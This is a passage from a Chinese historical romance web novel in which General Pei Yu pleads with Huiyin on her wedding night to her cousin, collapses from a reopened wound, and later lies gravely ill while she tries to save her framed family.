裴彧说完,低头去打量徽音的脸色,令他失望的是,徽音听完这番话并没有感到,而是一副嘲弄的模样:“你接柳檀回长安,明明可以提前告知于我,也可以秘密进行,可你偏偏闹得人尽皆知,难道不是故意的吗?” “是。”裴彧紧抿唇瓣,艰难道:“你不愿意告诉我你的秘密,我那时鬼迷心窍心中有怒,我保证,我再也不会再犯了,你能不能再给我一次机会?” 徽音推开裴彧,扶起地上难受的颜昀章,轻轻擦着他嘴角的血痕。裴彧看着这一幕,忍了忍,到底了没出声。 颜昀章苦笑着朝徽音摇摇头,示意自己没事。徽音放下心,转头冷冷的看着裴彧,“我已经听完了你解释,裴将军,请你离开。” 裴彧万分不解,拦住徽音带着颜昀章离去的脚步,“我已向你解释,你为何还是不原谅我。” 徽音目光带着哀伤,她望着裴彧,深深的看了一眼,轻声道:“你从来都不明白,我和你之前,柳檀一事根本就不重要。你应该明白的,从你要求我放弃复仇的那一刻,我们就不可能了。” 徽音努力扬起笑,发自内心的道谢,“裴彧,我没有当面同你说一声谢谢,是我的错。我很感激你帮我受刑,也很感激你帮我找到证人免我父亲安宁被打扰。谢谢你,裴彧。” 裴彧再一次感觉到那种用尽全力也无法握紧的滋味,像是手中捏了一把细沙,随风消散,越用力,散得越快。 他拉住徽音不肯放手,眼中浮现水色,酸涩道:“我要的不是谢谢。” “我知道……我错的离谱,你再给我一次机会,我一定会改的。” 他的声音说到最后变成嘶哑:“徽音,你怜惜萧纷儿,能原谅贺佳莹,对其人他很好……我求你,别对我这么狠心,好吗?” 徽音闭上眼。 颜昀章听了这么些,大概也懂了二人之间的纠葛。他看见徽音的挣扎,裴彧眼底的水光,明白自己得离开,把这里留给他们二人,让他们自己做一个了结。 他松开徽音,一瘸一拐的朝外走,很快就消失在深夜里。 裴彧再也忍不住,大力将徽音抱进怀中,紧紧拥着她,埋首在徽音肩上哽咽,“徽音,别这么对我。你说我的错,我一定改,你别离开我,我真的不能没有你。” 徽音感觉到肩膀上的衣裳渗进泪,是那么的烫,一路烫到她心里,叫她说不出话来。 “我保证,再也不会同旁的女人传出流言,也不会再瞒着你什么。你要做什么,见什么人,我不过问,你想让冯承帮你也好,让我帮你也好,我全部都听你的。” “徽音,跟我回去吧,我会娶你的。” 徽音双手垂在裴彧身侧,鼻息间全是裴彧身上的清香,是她曾经追寻的温暖。这句我会娶你,她想了很久,后来裴彧说出这句话的时候,她却只觉得可悲可笑。 现在,她也依旧觉得很可悲,为什么是我会娶你,而不是我想娶你呢。 在裴府那个深宅大院里,要面对裴夫人时不时的脾气和刁难,要时时刻刻拴住裴彧的心,要担忧他会不会变心,会不会纳妾。 五年,十年,数十年后,当她年华容貌不再依旧,裴彧权倾朝野地位超然,他是否会甘心守着她一人呢? 徽音不确定,也不敢赌。就像她曾经对裴衍说的话,地位差距如此明显的两个人,很难善终。 徽音:“可我不想嫁你。” 裴彧慢慢松开徽音,这是徽音第一次无比清晰的看见他的泪,她不合时宜的想着,装彧竟然也会哭。 没等装彧开口问,徽音先一步说出口,“我不想跟你回去过那种日子,日日夜夜守在寂静的宅院里等着你,你心情好时可以将我捧上天,心情不好时也能让我摔下地狱。这种人生掌握在旁人手中,需要看你眼色过活的生活,我不要。” 裴彧:“我会改的,你想如何便如何,我绝不干涉你。” 徽音:“你不会改,你可曾真正的听过我的话吗,你总是强迫我按照你心意去做,总是不顾我的想法,你骨子里就是这样霸道,你不会改。” 徽音从装彧的怀里挣脱出来,抬眼望着他,她第一次见裴彧如此狼狈的模样,眼底全是红血丝,像是要沁出血泪一眼,紧抿的唇瓣微微颤颤,他伸出手想要来牵她。 徽音定定看着着那只手掌,向后退了一步,让他落空。 她疲倦的合上眼,声音轻得像阵风,“裴彧,我们就到这吧。你回长安,我留荆州,此生再不相见。” 徽音没有听见裴彧的回答,她太累了,不想再耗下去。 她抬步越过裴彧离开,这次没人阻止她,没有人抓住她。 她没有迟疑的离开前院,廊道上的陶灯被风吹灭,一盏一盏的熄下来,徽音漫无目的走在廊道,脚下不慎踩住繁琐的裙裾跌坐在地,手心狠狠蹭在地上,划出几道血痕。 她捂着手坐在地上,仰头看着满月,眼泪簌簌的落下。 她哭的无声无息,身上的喜服像朵层层绽开的花瓣铺在地上,颜色黯淡,凋零枯萎。 颜娘等在喜房门口,好半天才看见徽音浑身的沉郁的走来,身后不见人影。 她急忙迎上去,扶着徽音进了屋,屋中角落染着两盏落地的长枝灯,叫她明明白白看清徽音脸上的泪痕。 颜娘心一抽,扶着徽音躺上床,捏着温热的帕子给她擦脸。 徽音闭着眼倒在床上,浑身无力提不劲,任由颜娘摆弄。 颜娘替她脱去喜服,卸下钗发,柔声问:“折腾大半日,饿了吧,奴去弄些吃食来。” 徽音翻身将头紧紧埋在被褥里,隔绝视线,她闷闷道:“不想吃,你去歇着吧。” 颜娘劝不动她,关上门去了前院,她担心等会徽音等会会饿,今日喜宴没开成,灶下备好的菜都还在,她打算弄点吃食端过去。 颜娘提着陶灯一路来到前院,途径拐角处心被吓到了嗓子眼,院中立着一个黑影一动不动,像一具石雕。 她憋回脱口而出的惊呼声,觉得那人莫名有些眼熟,举起手中的陶灯慢慢靠过去,才发觉那人居然是裴彧,他竟还没有走。 颜娘也顾不上去灶下拿吃食了,她提看裙摆转身离开,朝内院飞快走去。 徽音埋头在被褥里闷了一会,胸口有些憋闷,她捂着胸口慢慢坐起来,倒了杯凉茶压下心中的不适感。 屋外传来颜娘的脚步声,徽音过去打开门,看见颜娘提着陶灯小跑过去,神情凝重。 “怎么了?”她问。 颜娘跑到徽音面前,指着前院道:“他还没走,一直在院中。” 徽音看过去,天色漆黑一片,已经是亥时了。她回头看向屋内,目光无意识的落在衣橱上,她走过去,翻出压在最底下的木盒握紧,回身塞到颜娘的手中。 既然下定决心要断,那就断的彻彻底底,再无任何转圜的余地。 裴彧独自站在院中,他看见颜娘提着风灯出了门,看见他投来隐晦的一眼。 他捂着肩微微躬着身,背上的伤口又开始隐隐作痛,来的路上伤口裂了几次,裴彧都没有理会。 一到夜里,他的心尖就开始发疼发颤,叫他喘不过去,只有背伤的疼痛能缓解一二。 同时,他也有着自己的私心,怕徽音生气不原谅他,想着使一出苦肉计叫她心软。 但他见了徽音、即使被狠狠拒绝,也没开口说这件事,他不想用这个事情去捆绑她,他要的不是徽音的愧疚,他要徽音爱他,像从前那样爱他。 裴彧茫然的站在院中,他能说的都说了,能做的都做了,还是挽回不了徽音,他该怎么办。 门口传来细微的声响、装彧转过僵硬的身体去看,颜娘领着一个男人进门,那人正是今日要和徽音拜堂成亲的颜昀章。 他呼吸骤停,不敢去想为何已经离开的颜昀章又来了此地。 那两人朝他走来,裴彧动了动唇,正想出声问询,余光瞧见颜娘从袖中取出一个木盒恭敬的递给他。 “裴将军,这是我家女郎让我转交给你的。” 裴彧目光凝在那木盒上,盒身很小,巴掌大的模样、他接过去打开,第一次觉得今夜的月色太过明亮了些,明亮到他一眼就认出盒中之物,那是他送给徽音的生辰礼,狼牙吊坠。 “她说了什么?” 颜娘平静道:“女郎什么都没有说。” 裴彧捏紧木盒,木盒发出不堪重负的吱呀声,形状已经变形。 颜娘也不再多留,领着颜昀章朝内院走。走了两步,她才发觉不对,装彧竟然一路跟着他们进了内院。 她心突突的跳起来,看见他腥红的双眼,压下口中的质问。 颜昀章扫了眼身侧气压沉沉的男人,胸口还隐隐作痛,也没说什么。 颜娘带着沉默的两个男人一路来到喜房外,揣揣不安的上前敲门。 徽音长发披肩,妆容已卸,披了件外衣上前开门,她看着院中站定的两人,侧身站到一旁让出路,无视裴彧,对着颜昀章道:“表兄,进来吧。” 裴彧咬牙道:“宋徽音!你非要做到如此地步吗?” 徽音失笑,“裴将军,今日是我与表兄的新婚夜,睡在一起天经地义。你还不走,是想留下来观礼吗?” 棐或上前抓住颜昀章的肩膀,不让他向前,力气大到让颜的章当场神色扭曲起来。徽音眉眼未动半分,冷冷的盯着他。 她面无表情,“没了表兄还会有人,除了你谁都可以。” 裴彧再也坚持不住,眼睁睁的看着徽音和颜昀章携手进了屋门。 烛光将二人的影子投在纱窗上,交缠似连理枝,他看见屋子里的灯光熄灭,在徽音门前不知道站了多久,腿部发麻的地方如针扎般,鼻息件呼出气息炽热滚烫,裴彧甚至已经感觉到喉间涌上一股腥甜。 他最后看了眼漆黑的房间,动了动僵硬的腿部,转身朝外走。他走的很慢,背脊没有以往直挺,深一脚浅一脚的,脚步滞凝。 颜娘沉默的跟在他身后送他出门,她看着前方身影,心中忍不住叹息。 徽音和裴彧相知相爱的一切她都看在眼里,两人的争吵她也全部都知晓。但她从来没有想过裴彧会为了徽音变成如此模样,再不复他往昔的骄傲,低声祈求徽音的原谅。 她心疼裴彧,也更心疼徽音。从前尚在裴府时,徽音不愿意跟她讲与裴彧间的矛盾,凡事都憋闷在心里,她不说,颜娘却都知道。 有好几次她收拾床榻时,都能摸到湿润的软枕。她私心里,也不是不愿意徽音和裴或再搅合在一处的。 颜娘目送裴彧出了门,关上沉甸甸的朱红木门,如同尘埃落地般的声音响在裴彧脑海里。 他忍不住回头望,小院门户紧闭,将他隔绝在外。明明近在咫尺,却好像犹如天堑,怎么都迈不过去。 第66章 求你了。 时值深秋, 深夜的秋风已经带着刺骨的寒意,微风卷起几片枯叶,在空荡的长街上打着旋, 发出窸窣如低语的声响。 长街的尽头上,一座黑瓦白墙的小院孤寂地立着, 与两旁鳞次栉比的屋舍并无二致,唯有门前那两盏未点的灯笼,在风中轻轻摇晃。 小院周围,围满了手持长戬, 身披精甲的士兵,气势恢宏, 叫人不敢多看。 裴彧失魂落魄的从小院中走出, 脚步有些踉跄,早已等待多时的驰厌焦急的上前扶住他, “少将军,您没事吧?” 驰厌见裴彧独身出来,身后院门紧闭,便知事态不好。 他看着裴彧苍白的血色心中一紧,身后的衣料湿润, 带带浓郁的血腥味, 他连忙扶着裴彧坐在阶梯上, 从袖中取出药丸递到裴彧嘴边, “少将军, 您的伤口又裂开了, 快吃药。” 裴彧黑沉沉的眼珠转动,盯着驰厌手中那枚朱红色的药丸,那颜色仿佛和一个人影交织在一起, 他只觉得刺目极了。 他取过药丸,指腹用力,药丸化作齑粉在他手心流逝。 “少将军!” 裴彧声音沙哑:“你们先走,我想独自静静。” “可是”驰厌话音戛然而止,只因他看见裴彧双手捂脸,喉间发出细微的哽咽声。 他慢慢站起身,转身同弄不清楚状况的郡守交谈两声,再让副将带着军队先行离开驻扎,自己则守在不远处。 他担忧的回头望了一眼,院门下还挂着两盏通红的风灯,裴彧独身一人坐在角落,他心情已经恢复平静,目光愣愣的看着地板不知在想什么。 驰厌心中一酸,连忙扭过头不敢再看。 裴彧不敢去想徽音和颜昀章现在在做什么,他怕自己一想起,就会忍不住冲进去杀了颜昀章。 今日一过,徽音和颜昀章就是真正的夫妻,而他在徽音那里,只是一个厌恶至极,多看一眼就恶心的人。 裴彧不能接受,但他不知道自己还能做些什么,他什么办法都用上了,求也求了,可徽音就是不要他了,她不要他了。 他扔了已经破裂的盒子,从里面取出狼牙吊坠,吊坠在灯下莹莹发光,他握紧狼牙,深深的刺进手心,黏稠的血珠一颗一颗往下掉,他却毫无知觉。 裴彧想起第一次见徽音的时候,那时两人年纪都还小,他出身极好,从小就被捧着长大,连太子和吴王都是他的小弟。 少时除了他阿父,无人能让他吃瘪,徽音是第二个了。裴彧至今还记得,徽音端坐的阁楼上让人将他打出去时,朝他微抬下巴,小女娘眼角眉梢都是矜贵之色。 后来两人重逢,徽音已经完全不记得他了,他心中有些生气,又觉得自己有些小心眼。目光总是不自觉的跟随她,看她和密友闲聊,和旁人拌嘴不露下风,将对方怼的哑口无言。 起初裴彧只是认为,他对徽音比较特别是因为这个小女郎曾经让人过瘪,才会格外关照。可在临都驿站内,他看见她的一刹那,才明白那是一个男人看待女人的目光的。 回房后,他让方木去打探为何徽音会出现场在临都驿站,才知她家中出事,和太子的婚约也没能成,正要带着幼弟返乡。 他在原地坐了半刻钟,心中越发燥热,好不容易将心头的浮起的心思压下去,却在这时听闻徽音要见他的消息。 那一刻,他也说不清自己心中的什么感受,说不清自己为何要改口见她。他只是有个强烈的欲望,想知道徽音大半夜来见他为何? 那时候他心中就有些隐隐约约的猜到,徽音见他是要干什么。 驿站内,在听见徽音说爱慕他时,他心中是欢喜的,又很快清醒过来的,因为他知道徽音是在骗他。 她根本就不认识他,从前两人也没见过几面,每次见着他徽音都是躲着他走,何来爱慕一说。 他将人带回长安,嘴上说着要纳她为妾,实则根本就没有将纳妾的文书送到署衙去备案。 律法上来说,他和徽音之间的关系并不成立,这也是后来她为什么能很快就脱离了裴府,因为他们之间从始至终都没有那纸契书。 起初,裴彧只是看她可怜,又正逢家中催得紧,便借由徽音的提议借坡下驴。一开始,他并没有太多的想法,只是后来的相处中,他不受控制的迷恋上徽音。 她是那样的美好,让人难以抵抗。 他也成功的让徽音也对他敞开心扉爱上了他,可最后,这一切都被他搞砸了。 徽音说的对,他从没平等的看待过她,明知阿母和表妹不喜她,会对她下手,他却什么都没叮嘱交代,明明只要他开口说一声,就可以让她免于受这些欺负。 可他什么都没说,甚至是默许,默许她被人欺负,肆意偏袒贺家莹,只因为,他知道徽音有求于他,身后又无人可靠,只能依附他。 裴彧忽然笑起来,笑声带着悲凉,他望着头顶的红灯笼,只觉得眼睛发涩发干。他想起了回音刚刚入裴府的事,贺佳莹算计她,她为了救贺佳莹跳湖,那还是春日里的事,湖水寒凉,他还给了一块暖玉给贺佳莹养身体。 裴彧那时不在家中,可他听闻婢女的专转述才知道当时情况有多危急。贺佳莹拿自己的性命去算计,他阿母有多喜欢贺佳莹他清清楚楚,她当时忍着害怕还要跳湖去就贺佳莹,事后非旦没被人感激还被压着审讯。 他后来问过来医官,徽音那次葵水为何会那么痛,医官告诉他,避子药是一部分,更重要的是徽音跳湖后没有好好调养,身体藏有寒症,两厢激发下,才使得那次葵水如此严重。 还有贺佳莹找来方士诬陷她,若非徽音机警,只怕早就没命了,可他事后对于贺佳莹的惩罚只是高高拿起,轻轻放下。 桩桩件件,做不得假,她受了很多委屈。 裴彧仰着头,下颚绷紧,他对她从没好过,甚至从来没想过要娶她。徽音那样聪慧,怎么可能猜不出来,她又是怀着怎么样的心情陪在他身边的。 过去种种在他面前一一浮现,裴彧咬着牙站起身,抬手敲门,他不能失去徽音,他不能没有她。在在第一眼他就认定了,这辈子他只要徽音。 门后没有动静,裴彧不顾带伤的身体强行发力攀上灰墙,他匍匐在墙上,清晰的感觉到背后伤口裂开的痛楚,可那点痛和他心中的痛意比起来,不值一提。 和徽音都痛苦,受的委屈比起来,更不值得一提。 他强行翻越灰墙,一路跌跌撞撞来到越过前院来到徽音房前,血滴沿着他的背脊一路往下淌,淅淅沥沥的落在黄泥地上。 裴彧捂住胸口,停在房门口,看着漆黑的房间心如刀割,他走上前拍门,“徽音!徽音!” “你出来见见我,我求你了,别对我这样狠心。” 屋内已经躺下的两人各怀心事,自然也没有睡着,第一时间就听到了这声音。颜昀章听着外面的动静,翻了个身,心中一阵无语,这人还有完没完了。 他转头去看床榻上毫无动静的徽音,艰难的撑着手坐起来,他胸前的伤口已经包扎过了,呼吸间还是能感觉到胸口的刺痛。颜昀章小心翼翼的起身,准备出去让裴彧离开。 “表兄,别去。” 颜昀章开门的手一顿,转身望着床榻的方向,层层帷幔散下,他根本就看不清徽音的身形,只听见她声音疲累,低声道:“不要管他,等会他就走了。” 颜昀章幽幽叹息一声,只觉得今日真是大起大落的一天,他回到地铺上,心中有些难受。他不清楚徽音和裴彧间的事情,但从两人的态度中能看出来,他们的之前的感情很深。 好在徽音坚定的拒绝了裴彧,这让颜昀章心中的不安慢慢放下,他不担心徽音还喜欢裴彧,只要她愿意和他成亲,相信假以时日,他一定能让她放下裴彧,转而喜欢他。 裴彧敲了好半天的门,里面毫无动静,他知道徽音是醒着,只是不愿意出来见他。 他停下动作,垂首站在房门外,轻声呢喃:“你连见我一面都不愿意了吗?” 听见动静赶来的颜娘看见这一幕,连忙上前去劝,她才走到裴彧跟前,就看见他站立的地方聚着一滩鲜血,他的深色衣摆上正一滴一滴往下落。 颜娘心中一悸,连忙上前问:“裴将军,你流血了。” 裴彧像是没有听见一般站在门外,沉默的盯着屋内。 颜娘伸手去拽他,却没有拽动,她闻着裴彧身上浓郁的血腥味和他完全被血浸湿的衣服,猜测到他是背上的伤口裂开。 颜娘担忧道:“裴将军,你先下去治伤吧,这血流得太多了。” 屋内的徽音一直睁着眼躺在床上,听到颜娘的话语,她下意识的起身,又停住动作慢慢躺回去,看着床顶发呆。 颜昀章听着帐子里的动静身体也是一僵,过了半响没见徽音起身才把心放回去。 裴彧终于肯转头理会颜娘,不过却不是去处理伤口,他失魂落魄问:“颜娘,徽音她真的不要我了吗?” 颜娘看见裴彧这副惨状也不由得也些怜悯,她劝道:“裴将军,你和徽音,你们不是良缘啊。奴婢求您了,您就放下吧。” 裴彧眼中布满红血丝,他沉沉抬眼,重复颜娘是话,“不是良缘?叫我放下?” “颜娘,你说的好容易。徽音放下的也好容易,可我放不下。” “如果放下这么容易的话,世上哪还会有那么多痴人。” “颜娘,你帮帮我,你让徽音,出来见见我好不好?” 颜娘鼻尖一酸,扭头擦泪不肯言语。 屋内的两人将外面的对话听得清清楚楚,颜昀章内心五味杂陈,原本对裴彧的偏执和强求非常不满,此刻却不由得有些明白他,若他处在裴彧的位置上,自然也不会轻易放手。 徽音沉默的摸上心口,放下,她真的放下了吗? 不等她细想,裴彧再度开口,他声音嘶哑到徽音险些听不出是他的声音。他不是在跟颜娘说话,他是在对她说。 他说:“徽音,中秋宫宴那晚,苏静好拦下我,她说、你留在我身边只是利用,你对我没有一丝真心。我不信的,你对我怎么可能没有真心呢?我和你之间的事,也轮不上她来说三道四。” “她还说,你喜欢的是王寰,你想嫁给他。” 裴彧有些坚持不住,背脊上的伤口越发疼痛,他已经感到脑袋阵阵发晕,整个人都站不住,连说话都变得断断续续起来。 他支撑不住的扶住门,缓缓跪在地上,垂下头艰难喘气。 颜娘被他这副模样吓坏了,她万分无奈的看了裴彧一眼,起身去寻驰厌。 裴彧要是真在这里出了什么事情,说不准还要连累徽音。 颜娘离开后,院中短暂的安静一瞬,裴彧昏昏沉沉继续道:“可我回去找你,你早就不在了。最后,我是在天禄书阁找到了你,那个时候我没有生气,反而是心疼和自责。为什么我没有早一点发现你的不对劲,为什么要对你说那些要保苏家的话,才让你如此的不信任我,什么都不跟我说。” “回去后,当我听到你说的那句,我对你从来都是利用,没有真心。”他说到这里,声音不受控制的哽咽起来,眼前模糊一片,像是乞求又像是疑问:“徽音,你真的,对我没有半分真心吗?” “为什么你可以说不要我就不要我,说不爱就不爱了,你真的一直在骗我吗?” 他好像也不是非要个回答,又断断续续道:“我那天怒意上头,我知道我做了很多,说错了很多,冷静下来后我就后悔了。从来都不是你离不开我,是我离不开你。” “徽音,你能听见吗?你应我一声好不好?” 裴彧抬起头,那扇紧闭的大门在他面前缓缓打开,他心心念念的人打开门走了出来,徽音穿着一身正红色的寝衣,身后还跟着同样穿着寝衣的颜昀章。 他们站在一处,如同一对壁人,徽音居高临下的看着他,用着平静却极为伤人的语气,“你还要闹到何时?” 徽音慢慢蹲下身和裴彧持平,盯着他含泪的眼睛,“你知不知道,你现在这个样子很狼狈,很可怜。” “你想听我说什么?那句话我不是已经说过了吗?” 裴彧觉得很奇怪,明明才是秋日,他去觉得身处极寒之地一样,只是觉得好冷,一种从骨头缝里渗出来的寒意。 他伸手想要抓住徽音,却被她一把打落,他视线落在徽音纤细的颈脖处,那里有一块明显的红痕,暧昧又旖旎。 他视线凝在那一处,颤抖道:“你们……”喉咙里像是被什么滚烫的东西堵住了,咽不下去,也吐不出来。 徽音不耐烦的打断他,“我们圆房了,裴彧 ,你不会以为我和表兄做戏在骗你吧?你怎么会这么天真?” “你有什么值得我回头的,有什么值得我再给你一次机会。你是不是忘了,你从前是怎么对我的?你母亲又是怎么对我的?” “你一句错了,一句道歉,就能将我过去日日夜夜的委屈、伤心全部都抹杀吗!” “我已经跟你说的很清楚了,如果你真的改了,那为什么还是一如既往的无视我的话,坚持你自己想法,一遍一遍在这里堵我的门!” “如果今天和我成亲的人不是我表兄,而是其他人,你有没有想过你这样做,会给我带来什么样的后果!” 徽音闭上眼,满脸失望,“你看,你总是这样……” 她牵住颜昀章的手,十指相扣给裴彧看,无奈道:“好话歹话说尽了,你都不愿意听。你位高权重,想要什么样的女人没有,放我一条生路吧。 她顿了顿,苦笑道:“你一道命令就可以将我们处死,如果你觉得我转嫁他人令你实在无法忍受,令你觉得蒙受羞辱,你现在就可以杀了我,尽管动手便是。” 裴彧满眼都是刺目的红,他已经听不清徽音在说什么了,只能看见她牵住颜昀章的手,温柔的看向颜昀章,看看见他时又露出深深的厌恶他的身体慢慢朝一侧倾倒过去,重重的摔在地上。 为什么会这样,为什么一夕之间全变了。他胃里一阵地抽搐,疼的他眉心紧蹙,口中发出几声困兽般压抑的喘息。 天旋地转间,裴彧依稀看见徽音担忧的神色,他闭上眼,无奈的笑笑,徽音还会担心他吗,她只怕恨不得他去死。 看见裴彧倒在地上了无声息的模样,徽音浑身发凉,这才看清他跪着地上有一大块血迹。她不受控制的上前一步,脑中一片空白。 颜昀章看见这一幕直觉不好,他赶忙上前扶起裴彧,触碰到他身后时才发现满手是血,再看裴彧的脸色,惨白毫无血色,显然是失血过多晕厥过去。 他咬着牙扛起裴彧,奈何胸口阵阵发痛,眼前发黑,根本无力扛起裴彧。 颜昀章手忙脚乱的放下裴彧打算去喊人,回头瞧见徽音神思恍惚的样子,连忙将人唤醒,“徽音!” 徽音猛然回神,颜昀章从没再她脸上见过这种表情,被无尽的悲伤淹没,眼中满是痛苦。 徽音跪在裴彧身侧,将他抱在怀中,不停的流泪说不出话。 她什么都知道的,中秋那天,她知道裴彧是怒上心头口不择言,也知道他的后悔,他让人把她和颜娘带回府内,又派人一路保护着她不让苏家杀她,帮她受刑,还替她去找了证人。 她知道裴彧后悔了,可说过的话,做过的事,不可能因为一句道歉就能当作什么都没有发生。 其实她也很后悔,如果她没有一直瞒着裴彧,她要是能早点告诉裴彧自己的秘密,那天晚上,要是能控制一下自己的情绪,她和裴彧是不是就不会走到这一步。 徽音将头搁在裴彧额上,颤抖着抚上他的脸颊,她能感觉到裴彧背后不停的在渗血,血液还带着温热,很快就染湿她的寝衣,正红色和血色融在一处,像极了她的嫁衣。 是她期盼了很久,为裴彧穿上的嫁衣。 驰厌赶来的时候,看见的就是裴彧浑身是血的倒在徽音怀里,人事不省。他当场腿就软了跪在地上,有些不敢上前。 还是颜昀章看见他赶紧过来拉人,快速道:“还有气,先救人。” 驰厌猛吸一口气,快速冲到裴彧面前,掏出一枚药丸塞在裴彧口中,强迫他咽下。驰厌蹲在地上,对颜昀章道:“将他放我背上。” 背起裴彧后,驰厌马不停蹄的带着他离开,院中恢复平静,颜昀章看着呆坐在地上满手是血的徽音,心中一阵发疼,他走上前,轻声道:“他身份尊贵,郡守大人一定会全力救治他,一定会没事的。” 徽音点点头,双目无神:“表兄,你去休息吧,我太累了,我想自己待一会。” 她没等颜昀章回答就起身进屋,关上门,抵在门后慢慢坐在地上,将头搁在膝上,双手环住自己。她的手上还有裴彧的鲜血,提醒着她刚刚发生了什么。 徽音闭上眼静静靠在门后,难得的得到了片刻的宁静。片刻后,她听见颜昀章和颜娘低声交谈,颜娘让颜昀章先去客房休息。 颜昀章走后,颜娘敲敲门,轻声道:“这世上没有过不去的难事,遇事不要逼迫自己。” “奴婢还是那句话,只要你能开心,你想做什么都可以。徽音,如果你真的放不下裴彧,你不要折磨自己,你要顺从心意。” 徽音将头埋在膝盖上,她不想哭的,可是一听见颜娘关怀的语调她就忍不住。颜娘是这个世上对她最好的人,是她最亲的人,是最关心她的人。 她不能再让颜娘为自己担心了。 徽音哽咽道:“我没事,我很好。”她仰头擦干泪,努力让自己笑起来,“傅母,你放心心,无论有没有裴彧,我都会活的很好。” “你有一句话说的对很对,我同裴彧不是良缘,既然不是良缘,就要彻底斩断。这样,对我、对他、对所有人都好。” 第67章 这也许是他们此生的最后…… 翌日一早, 院中的红绸都被撤下,新买来的婢女年纪尚小性子未定,此刻凑在大门前眼睛不眨的盯着街道, 竖起耳朵听街坊间的热闹。 颜娘在灶下熬煮汤药,徽音晨起就病了, 不知是不是昨夜衣裳单薄被风邪入体,还是心情郁结。一大早就烧的迷糊不清,好在颜昀章昨夜歇在此处,已经着人去请了大夫。 盯着大夫开完药他才放下心离去, 急匆匆的朝着县衙的方向赶去,估计是去找人大打听颜家所犯之罪, 从中周旋一二。 颜娘端着药进屋, 徽音已经起身,昏沉沉的靠在案几上, 手中的毛笔慢慢浸出墨珠。 她走上前,看见案几上放着一卷书册,依稀认出是律令条款,她将药放下,劝道:“先喝药再看吧。” 徽音单手按住发昏大阳穴, 将碗中的汤药一饮而尽。昨日因着裴彧突然到来打断了张县尉的谋划, 他此刻人还被压在裴或那里, 没空来找颜家的麻烦。 等裴或一走, 张县尉想必就要发难捉拿颜府上下, 留给他们的时间不多了。 徽音写完信, 吩咐人紧急送往长安,如非必要,她亦不想再麻烦王寰和冯承。颜家现在危在旦夕, 她不能坐视不理。 直到将近黄昏时分,她才接到颜昀章派人传回来的消息,张县尉伙同宋家那群豺狼虎豹栽赃陷害颜家。他们伪造的证据很齐全,一时半刻找不出破绽,宋家和张县尉应该是蓄谋已久。 徽音向送信的人打听消息,“那张县尉人现在何处?” 那人回道,“郡守大人不知为何落脚在了县衙,周围守卫森严,打听不到县衙里面的动静。” 昨日那位郡守是同裴彧一起来的,他还没有离开,那裴彧应该也还没有离开宛县。 送去长安的信件快马加鞭也需要七天才到,裴彧和郡守不知何时会离开宛县,长安远水解不了近渴,为今之计,只有趁张县尉尚未掌权之时,先一步找到郡守大人说明原委,请他做主。 徽音回忆起关于这位姚庆郡守的生平,她没见过他,但听闻过他的事迹。姚庆出生蜀中氏族,与当今丞相是同乡,两人关系深厚,他做到今日的地位也少不了丞相的提携。 他有一个人尽皆知的爱好,喜爱美酒,曾在洛阳任职时因醉酒冲撞了贵人,因得丞相力保才没有被追究错处,外放到了荆州。 想到此处,徽音连忙叮嘱送信的小厮,叫他赶紧回去给颜昀章和颜宵传话,让他们去走郡守的门路。 要是能攀上郡守,有个官员做后盾,对颜家以后也很好,也不用再惧怕其他人都栽赃陷害。 颜氏父子听了她的话,带上家中珍藏的酒酿王县衙赶去,还没靠近门口就被人拦了下来。只见平素散漫的县衙大门紧闭,门口多了好些精兵驻守禁严。 看守的卫兵打量了他们两眼,呵斥道:“县衙重地,闲人免进,速速离去!” 颜宵还想再上前求通融一番,被颜昀章手疾眼快的拉到一边,县衙的侧门出,依旧是精兵把守,只不过侧门却是开的,有好些背着药箱的大夫往里面走,也有人摇着头往外走。 联想昨夜裴彧的情况,颜昀章眉头紧皱,这些大夫肯定是郡守叫来给裴彧瞧病的,可为何形势看起来很不好。 进不了县衙,见不到郡守,也探听不到县衙内部的消息,颜氏父子只要一边去找其他门路,一边让人给徽音送口信。 颜昀章到时,徽音正被颜娘压着喝药,她皱着脸咽下去,立马往嘴里塞了块蜜饯,苦着脸朝颜娘撒娇。 颜昀章看见她这副小女儿的模样,不禁展颜,笑时又扯动了胸前的伤势,发出几声沉闷的咳嗽。 主仆二人注意的颜昀章的到来止声,徽音神情恢复平静,关心的问道:“表兄,你服药了吗?” 颜昀章笑笑,“用药了,我的伤不严重,就是有些咳嗽。” 徽音点点头,又问:“县衙情况如何,你们见到郡守大人了吗?” 颜昀章迟疑片刻,还是将在县衙看见的消息一一告知徽音,又补上一句,“我去跟相熟的大夫打听了一下,他说受伤的一位长安来的贵人,反复高烧不退,身上的伤口发炎,情况很严重。” “郡守将附近的大夫全部都召集了过来起,可那人伤得实在凶险,必须要下猛药,猛药下去,生死他们也无法保证。郡守不敢拿主意,此刻正僵持着。” 徽音长睫轻颤,闻言没有说话。等颜昀章离去后,她坐在小院里,心中说不出是什么感觉,担忧、伤心、还是难过。 她只能向神明祈祷,祈祷裴彧不要死。即使是最恨裴彧的时候,她都没想过要裴彧死。 —— 驰厌来的时候徽音正在查看各处传回来的消息,她将景川的画像让人沿着南下一路探查,这是第一批传回来的消息,徽音一一翻看过去,都是些无用的线索。 她也没有太过失望,要在偌大的南朝找一个人,不是简单的事情,她已经做好打持久战的准备了。 颜娘在外面唤她,说是驰厌上门求见,请她去县衙一趟。 徽音:“他可有说什么事?” 颜娘踌躇片刻:“说是裴将军重病,高热不退,又不肯饮药,请您去看看。” 徽音指尖微顿,平静道:“我不会治病,去了也是无用。” 颜娘出去回话,徽音盯着手中的消息半天没有看进去。 没一会,外头吵闹的声音传来,徽音听见颜娘的劝阻以及驰厌那十万火急的语调,“再等下去少将军就要死在这里的,届时陛下皇后追究,荆州谁能担得起这个责!” 驰厌脚步轻盈的越过颜娘往里屋闯,鼻尖冒着细密的汗珠。他冲到门口,克制着脚步没有闯进去,大声嚷道:“宋女郎,少将军病入膏肓,若非情况实在危机,驰厌不会来打扰你的。” 他眉间皱起,两侧眉间向下,像个倒八字。驰厌等了半天没见屋内的动静,眉头越来越深,等不及的上前推门。 下一刻,木门在他面前被打开,徽音一身素衣,神色苍白的站在他面前,“带我过去吧。” 驰厌回神,领着徽音朝往走。他不着痕迹的打量徽音苍白的唇色,心中有些后悔方才太过冲动了。 徽音递给颜娘一个放心的眼神,叮嘱道:“舅父和表兄若上来找我,你如实相告,叫他们不必担心。” 颜娘点点头,唤住要上马车的徽音,着急忙慌的抱出一件青色披风塞给徽音。去县衙的路上,徽音打开车窗问驾车的驰厌,“他如何了?” 驰厌迟疑半分,终究是不敢隐瞒如实道:“少将军的背伤一直未好,伤口几次撕裂加重,大夫说是心神剧烈震荡加上旧伤复发,高热不退。” 